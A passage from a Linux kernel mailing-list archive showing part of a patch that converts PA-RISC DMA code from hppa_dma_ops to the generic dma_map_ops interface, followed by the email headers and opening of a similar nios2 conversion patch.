-	void *(*alloc_noncoherent)(struct device *dev, size_t size, dma_addr_t *iova, gfp_t flag);
-	void (*free_consistent)(struct device *dev, size_t size, void *vaddr, dma_addr_t iova);
-	dma_addr_t (*map_single)(struct device *dev, void *addr, size_t size, enum dma_data_direction direction);
-	void (*unmap_single)(struct device *dev, dma_addr_t iova, size_t size, enum dma_data_direction direction);
-	int  (*map_sg)(struct device *dev, struct scatterlist *sg, int nents, enum dma_data_direction direction);
-	void (*unmap_sg)(struct device *dev, struct scatterlist *sg, int nhwents, enum dma_data_direction direction);
-	void (*dma_sync_single_for_cpu)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
-	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
-	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
-	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
-};
-
 /*
-** We could live without the hppa_dma_ops indirection if we didn't want
-** to support 4 different coherent dma models with one binary (they will
-** someday be loadable modules):
+** We need to support 4 different coherent dma models with one binary:
+**
 **     I/O MMU        consistent method           dma_sync behavior
 **  =============   ======================       =======================
 **  a) PA-7x00LC    uncachable host memory          flush/purge
@@ -40,158 +21,22 @@ struct hppa_dma_ops {
 */
 
 #ifdef CONFIG_PA11
-extern struct hppa_dma_ops pcxl_dma_ops;
-extern struct hppa_dma_ops pcx_dma_ops;
+extern struct dma_map_ops pcxl_dma_ops;
+extern struct dma_map_ops pcx_dma_ops;
 #endif
 
-extern struct hppa_dma_ops *hppa_dma_ops;
-
-#define dma_alloc_attrs(d, s, h, f, a) dma_alloc_coherent(d, s, h, f)
-#define dma_free_attrs(d, s, h, f, a) dma_free_coherent(d, s, h, f)
-
-static inline void *
-dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
-		   gfp_t flag)
-{
-	return hppa_dma_ops->alloc_consistent(dev, size, dma_handle, flag);
-}
-
-static inline void *
-dma_alloc_noncoherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
-		      gfp_t flag)
-{
-	return hppa_dma_ops->alloc_noncoherent(dev, size, dma_handle, flag);
-}
-
-static inline void
-dma_free_coherent(struct device *dev, size_t size, 
-		    void *vaddr, dma_addr_t dma_handle)
-{
-	hppa_dma_ops->free_consistent(dev, size, vaddr, dma_handle);
-}
-
-static inline void
-dma_free_noncoherent(struct device *dev, size_t size, 
-		    void *vaddr, dma_addr_t dma_handle)
-{
-	hppa_dma_ops->free_consistent(dev, size, vaddr, dma_handle);
-}
-
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *ptr, size_t size,
-	       enum dma_data_direction direction)
-{
-	return hppa_dma_ops->map_single(dev, ptr, size, direction);
-}
-
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction direction)
-{
-	hppa_dma_ops->unmap_single(dev, dma_addr, size, direction);
-}
-
-static inline int
-dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-	   enum dma_data_direction direction)
-{
-	return hppa_dma_ops->map_sg(dev, sg, nents, direction);
-}
-
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-	     enum dma_data_direction direction)
-{
-	hppa_dma_ops->unmap_sg(dev, sg, nhwentries, direction);
-}
-
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-	     size_t size, enum dma_data_direction direction)
-{
-	return dma_map_single(dev, (page_address(page) + (offset)), size, direction);
-}
-
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-	       enum dma_data_direction direction)
-{
-	dma_unmap_single(dev, dma_address, size, direction);
-}
-
-
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	if(hppa_dma_ops->dma_sync_single_for_cpu)
-		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, 0, size, direction);
-}
-
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	if(hppa_dma_ops->dma_sync_single_for_device)
-		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, 0, size, direction);
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-		      unsigned long offset, size_t size,
-		      enum dma_data_direction direction)
-{
-	if(hppa_dma_ops->dma_sync_single_for_cpu)
-		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, offset, size, direction);
-}
+extern struct dma_map_ops *hppa_dma_ops;
 
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-		      unsigned long offset, size_t size,
-		      enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	if(hppa_dma_ops->dma_sync_single_for_device)
-		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, offset, size, direction);
-}
-
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
-		 enum dma_data_direction direction)
-{
-	if(hppa_dma_ops->dma_sync_sg_for_cpu)
-		hppa_dma_ops->dma_sync_sg_for_cpu(dev, sg, nelems, direction);
-}
-
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg, int nelems,
-		 enum dma_data_direction direction)
-{
-	if(hppa_dma_ops->dma_sync_sg_for_device)
-		hppa_dma_ops->dma_sync_sg_for_device(dev, sg, nelems, direction);
-}
-
-static inline int
-dma_supported(struct device *dev, u64 mask)
-{
-	return hppa_dma_ops->dma_supported(dev, mask);
-}
-
-static inline int
-dma_set_mask(struct device *dev, u64 mask)
-{
-	if(!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
+	return hppa_dma_ops;
 }
 
 static inline void
 dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
-	if(hppa_dma_ops->dma_sync_single_for_cpu)
+	if (hppa_dma_ops->sync_single_for_cpu)
 		flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
@@ -238,22 +83,6 @@ struct parisc_device;
 void * sba_get_iommu(struct parisc_device *dev);
 #endif
 
-/* At the moment, we panic on error for IOMMU resource exaustion */
-#define dma_mapping_error(dev, x)	0
-
-/* This API cannot be supported on PA-RISC */
-static inline int dma_mmap_coherent(struct device *dev,
-				    struct vm_area_struct *vma, void *cpu_addr,
-				    dma_addr_t dma_addr, size_t size)
-{
-	return -EINVAL;
-}
-
-static inline int dma_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size)
-{
-	return -EINVAL;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 #endif
diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index dba508f..f815066 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -40,7 +40,7 @@
 #include <asm/parisc-device.h>
 
 /* See comments in include/asm-parisc/pci.h */
-struct hppa_dma_ops *hppa_dma_ops __read_mostly;
+struct dma_map_ops *hppa_dma_ops __read_mostly;
 EXPORT_SYMBOL(hppa_dma_ops);
 
 static struct device root = {
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index b9402c9..a27e492 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -413,7 +413,8 @@ pcxl_dma_init(void)
 
 __initcall(pcxl_dma_init);
 
-static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
+static void *pa11_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
 {
 	unsigned long vaddr;
 	unsigned long paddr;
@@ -439,7 +440,8 @@ static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_ad
 	return (void *)vaddr;
 }
 
-static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vaddr, dma_addr_t dma_handle)
+static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	int order;
 
@@ -450,15 +452,20 @@ static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vad
 	free_pages((unsigned long)__va(dma_handle), order);
 }
 
-static dma_addr_t pa11_dma_map_single(struct device *dev, void *addr, size_t size, enum dma_data_direction direction)
+static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
+	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
 
 	flush_kernel_dcache_range((unsigned long) addr, size);
 	return virt_to_phys(addr);
 }
 
-static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, size_t size, enum dma_data_direction direction)
+static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
+		size_t size, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	BUG_ON(direction == DMA_NONE);
 
@@ -475,7 +482,9 @@ static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, siz
 	return;
 }
 
-static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
+static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -492,7 +501,9 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 	return nents;
 }
 
-static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
+static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -509,18 +520,24 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 	return;
 }
 
-static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
+static void pa11_dma_sync_single_for_cpu(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
 {
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
+	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
+			size);
 }
 
-static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
+static void pa11_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
 {
 	BUG_ON(direction == DMA_NONE);
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
+	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
+			size);
 }
 
 static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -545,32 +562,28 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 		flush_kernel_vmap_range(sg_virt(sg), sg->length);
 }
 
-struct hppa_dma_ops pcxl_dma_ops = {
+struct dma_map_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
-	.alloc_consistent =	pa11_dma_alloc_consistent,
-	.alloc_noncoherent =	pa11_dma_alloc_consistent,
-	.free_consistent =	pa11_dma_free_consistent,
-	.map_single =		pa11_dma_map_single,
-	.unmap_single =		pa11_dma_unmap_single,
+	.alloc =		pa11_dma_alloc,
+	.free =			pa11_dma_free,
+	.map_page =		pa11_dma_map_page,
+	.unmap_page =		pa11_dma_unmap_page,
 	.map_sg =		pa11_dma_map_sg,
 	.unmap_sg =		pa11_dma_unmap_sg,
-	.dma_sync_single_for_cpu = pa11_dma_sync_single_for_cpu,
-	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
-	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
-	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
+	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
+	.sync_single_for_device = pa11_dma_sync_single_for_device,
+	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
+	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 };
 
-static void *fail_alloc_consistent(struct device *dev, size_t size,
-				   dma_addr_t *dma_handle, gfp_t flag)
-{
-	return NULL;
-}
-
-static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
-					  dma_addr_t *dma_handle, gfp_t flag)
+static void *pcx_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
 {
 	void *addr;
 
+	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+		return NULL;
+
 	addr = (void *)__get_free_pages(flag, get_order(size));
 	if (addr)
 		*dma_handle = (dma_addr_t)virt_to_phys(addr);
@@ -578,24 +591,23 @@ static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
 	return addr;
 }
 
-static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
-					void *vaddr, dma_addr_t iova)
+static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t iova, struct dma_attrs *attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
 	return;
 }
 
-struct hppa_dma_ops pcx_dma_ops = {
+struct dma_map_ops pcx_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
-	.alloc_consistent =	fail_alloc_consistent,
-	.alloc_noncoherent =	pa11_dma_alloc_noncoherent,
-	.free_consistent =	pa11_dma_free_noncoherent,
-	.map_single =		pa11_dma_map_single,
-	.unmap_single =		pa11_dma_unmap_single,
+	.alloc =		pcx_dma_alloc,
+	.free =			pcx_dma_free,
+	.map_page =		pa11_dma_map_page,
+	.unmap_page =		pa11_dma_unmap_page,
 	.map_sg =		pa11_dma_map_sg,
 	.unmap_sg =		pa11_dma_unmap_sg,
-	.dma_sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
-	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
-	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
+	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
+	.sync_single_for_device = pa11_dma_sync_single_for_device,
+	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
+	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 };
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 957b421..a4c7153 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -788,18 +788,27 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 	return CCIO_IOVA(iovp, offset);
 }
 
+
+static dma_addr_t 
+ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
+		size_t size, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	return ccio_map_single(dev, page_address(page) + offset, size,
+			direction);
+}
+
+
 /**
- * ccio_unmap_single - Unmap an address range from the IOMMU.
+ * ccio_unmap_page - Unmap an address range from the IOMMU.
  * @dev: The PCI device.
  * @addr: The start address of the DMA region.
  * @size: The length of the DMA region.
  * @direction: The direction of the DMA transaction (to/from device).
- *
- * This function implements the pci_unmap_single function.
  */
 static void 
-ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size, 
-		  enum dma_data_direction direction)
+ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size, 
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 	unsigned long flags; 
@@ -828,7 +837,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 }
 
 /**
- * ccio_alloc_consistent - Allocate a consistent DMA mapping.
+ * ccio_alloc - Allocate a consistent DMA mapping.
  * @dev: The PCI device.
  * @size: The length of the DMA region.
  * @dma_handle: The DMA address handed back to the device (not the cpu).
@@ -836,7 +845,8 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
  * This function implements the pci_alloc_consistent function.
  */
 static void * 
-ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
+ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
+		struct dma_attrs *attrs)
 {
       void *ret;
 #if 0
@@ -860,7 +870,7 @@ ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, g
 }
 
 /**
- * ccio_free_consistent - Free a consistent DMA mapping.
+ * ccio_free - Free a consistent DMA mapping.
  * @dev: The PCI device.
  * @size: The length of the DMA region.
  * @cpu_addr: The cpu address returned from the ccio_alloc_consistent.
@@ -869,10 +879,10 @@ ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, g
  * This function implements the pci_free_consistent function.
  */
 static void 
-ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr, 
-		     dma_addr_t dma_handle)
+ccio_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
-	ccio_unmap_single(dev, dma_handle, size, 0);
+	ccio_unmap_page(dev, dma_handle, size, 0, NULL);
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
@@ -899,7 +909,7 @@ ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr,
  */
 static int
 ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	    enum dma_data_direction direction)
+	    enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -976,7 +986,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	      enum dma_data_direction direction)
+	      enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 
@@ -995,27 +1005,22 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 #ifdef CCIO_COLLECT_STATS
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
-		ccio_unmap_single(dev, sg_dma_address(sglist),
-				  sg_dma_len(sglist), direction);
+		ccio_unmap_page(dev, sg_dma_address(sglist),
+				  sg_dma_len(sglist), direction, NULL);
 		++sglist;
 	}
 
 	DBG_RUN_SG("%s() DONE (nents %d)\n", __func__, nents);
 }
 
-static struct hppa_dma_ops ccio_ops = {
+static struct dma_map_ops ccio_ops = {
 	.dma_supported =	ccio_dma_supported,
-	.alloc_consistent =	ccio_alloc_consistent,
-	.alloc_noncoherent =	ccio_alloc_consistent,
-	.free_consistent =	ccio_free_consistent,
-	.map_single =		ccio_map_single,
-	.unmap_single =		ccio_unmap_single,
+	.alloc =		ccio_alloc,
+	.free =			ccio_free,
+	.map_page =		ccio_map_page,
+	.unmap_page =		ccio_unmap_page,
 	.map_sg = 		ccio_map_sg,
 	.unmap_sg = 		ccio_unmap_sg,
-	.dma_sync_single_for_cpu =	NULL,	/* NOP for U2/Uturn */
-	.dma_sync_single_for_device =	NULL,	/* NOP for U2/Uturn */
-	.dma_sync_sg_for_cpu =		NULL,	/* ditto */
-	.dma_sync_sg_for_device =		NULL,	/* ditto */
 };
 
 #ifdef CONFIG_PROC_FS
@@ -1064,7 +1069,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 			   ioc->msingle_calls, ioc->msingle_pages,
 			   (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
 
-		/* KLUGE - unmap_sg calls unmap_single for each mapped page */
+		/* KLUGE - unmap_sg calls unmap_page for each mapped page */
 		min = ioc->usingle_calls - ioc->usg_calls;
 		max = ioc->usingle_pages - ioc->usg_pages;
 		seq_printf(m, "pci_unmap_single: %8ld calls  %8ld pages (avg %d/1000)\n",
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 225049b..24ec9b8 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -780,8 +780,18 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 }
 
 
+static dma_addr_t 
+sba_map_page(struct device *dev, struct page *page, unsigned long offset,
+		size_t size, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	return sba_map_single(dev, page_address(page) + offset, size,
+			direction);
+}
+
+
 /**
- * sba_unmap_single - unmap one IOVA and free resources
+ * sba_unmap_page - unmap one IOVA and free resources
  * @dev: instance of PCI owned by the driver that's asking.
  * @iova:  IOVA of driver buffer previously mapped.
  * @size:  number of bytes mapped in driver buffer.
@@ -790,8 +800,8 @@ sba_map_single(struct device *dev, void *addr, size_t size,
  * See Documentation/DMA-API-HOWTO.txt
  */
 static void
-sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
-		 enum dma_data_direction direction)
+sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 #if DELAYED_RESOURCE_CNT > 0
@@ -858,15 +868,15 @@ sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 
 
 /**
- * sba_alloc_consistent - allocate/map shared mem for DMA
+ * sba_alloc - allocate/map shared mem for DMA
  * @hwdev: instance of PCI owned by the driver that's asking.
  * @size:  number of bytes mapped in driver buffer.
  * @dma_handle:  IOVA of new buffer.
  *
  * See Documentation/DMA-API-HOWTO.txt
  */
-static void *sba_alloc_consistent(struct device *hwdev, size_t size,
-					dma_addr_t *dma_handle, gfp_t gfp)
+static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, struct dma_attrs *attrs)
 {
 	void *ret;
 
@@ -888,7 +898,7 @@ static void *sba_alloc_consistent(struct device *hwdev, size_t size,
 
 
 /**
- * sba_free_consistent - free/unmap shared mem for DMA
+ * sba_free - free/unmap shared mem for DMA
  * @hwdev: instance of PCI owned by the driver that's asking.
  * @size:  number of bytes mapped in driver buffer.
  * @vaddr:  virtual address IOVA of "consistent" buffer.
@@ -897,10 +907,10 @@ static void *sba_alloc_consistent(struct device *hwdev, size_t size,
  * See Documentation/DMA-API-HOWTO.txt
  */
 static void
-sba_free_consistent(struct device *hwdev, size_t size, void *vaddr,
-		    dma_addr_t dma_handle)
+sba_free(struct device *hwdev, size_t size, void *vaddr,
+		    dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
-	sba_unmap_single(hwdev, dma_handle, size, 0);
+	sba_unmap_page(hwdev, dma_handle, size, 0, NULL);
 	free_pages((unsigned long) vaddr, get_order(size));
 }
 
@@ -933,7 +943,7 @@ int dump_run_sg = 0;
  */
 static int
 sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction)
+	   enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -1016,7 +1026,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	     enum dma_data_direction direction)
+	     enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	struct ioc *ioc;
 #ifdef ASSERT_PDIR_SANITY
@@ -1040,7 +1050,8 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 	while (sg_dma_len(sglist) && nents--) {
 
-		sba_unmap_single(dev, sg_dma_address(sglist), sg_dma_len(sglist), direction);
+		sba_unmap_page(dev, sg_dma_address(sglist), sg_dma_len(sglist),
+				direction, NULL);
 #ifdef SBA_COLLECT_STATS
 		ioc->usg_pages += ((sg_dma_address(sglist) & ~IOVP_MASK) + sg_dma_len(sglist) + IOVP_SIZE - 1) >> PAGE_SHIFT;
 		ioc->usingle_calls--;	/* kluge since call is unmap_sg() */
@@ -1058,19 +1069,14 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 
 }
 
-static struct hppa_dma_ops sba_ops = {
+static struct dma_map_ops sba_ops = {
 	.dma_supported =	sba_dma_supported,
-	.alloc_consistent =	sba_alloc_consistent,
-	.alloc_noncoherent =	sba_alloc_consistent,
-	.free_consistent =	sba_free_consistent,
-	.map_single =		sba_map_single,
-	.unmap_single =		sba_unmap_single,
+	.alloc =		sba_alloc,
+	.free =			sba_free,
+	.map_page =		sba_map_page,
+	.unmap_page =		sba_unmap_page,
 	.map_sg =		sba_map_sg,
 	.unmap_sg =		sba_unmap_sg,
-	.dma_sync_single_for_cpu =	NULL,
-	.dma_sync_single_for_device =	NULL,
-	.dma_sync_sg_for_cpu =		NULL,
-	.dma_sync_sg_for_device =	NULL,
 };
 
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.kernel.iommu
Subject: [PATCH 07/16] nios2: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:12 +0100
Lines: 397
Approved: news@gmane.org
Message-ID: <1447093041-21832-8-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093359 18752 80.91.229.3 (9 Nov 2015 18:22:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:39 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Mon Nov 09 19:22:31 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zvr59-00059O-4J
	for lnx-sparclinux@plane.gmane.org; Mon, 09 Nov 2015 19:22:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752793AbbKISWO (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:14 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58266 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISWN (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Mon, 9 Nov 2015 13:22:13 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4u-0003UJ-1l; Mon, 09 Nov 2015 18:22:05 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21740 gmane.linux.ports.parisc:26136 gmane.linux.kernel.metag:653 gmane.linux.kernel.iommu:11446
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21740>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nios2/Kconfig                   |   1 +
 arch/nios2/include/asm/dma-mapping.h | 123 ++---------------------------
 arch/nios2/mm/dma-mapping.c          | 147 +++++++++++++++++++----------------
 3 files changed, 85 insertions(+), 186 deletions(-)

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 4375554..4b2504d 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -16,6 +16,7 @@ config NIOS2
 	select SOC_BUS
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
+	select HAVE_DMA_ATTRS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
index b556723..bec8ac8 100644
--- a/arch/nios2/include/asm/dma-mapping.h
+++ b/arch/nios2/include/asm/dma-mapping.h
@@ -10,131 +10,20 @@
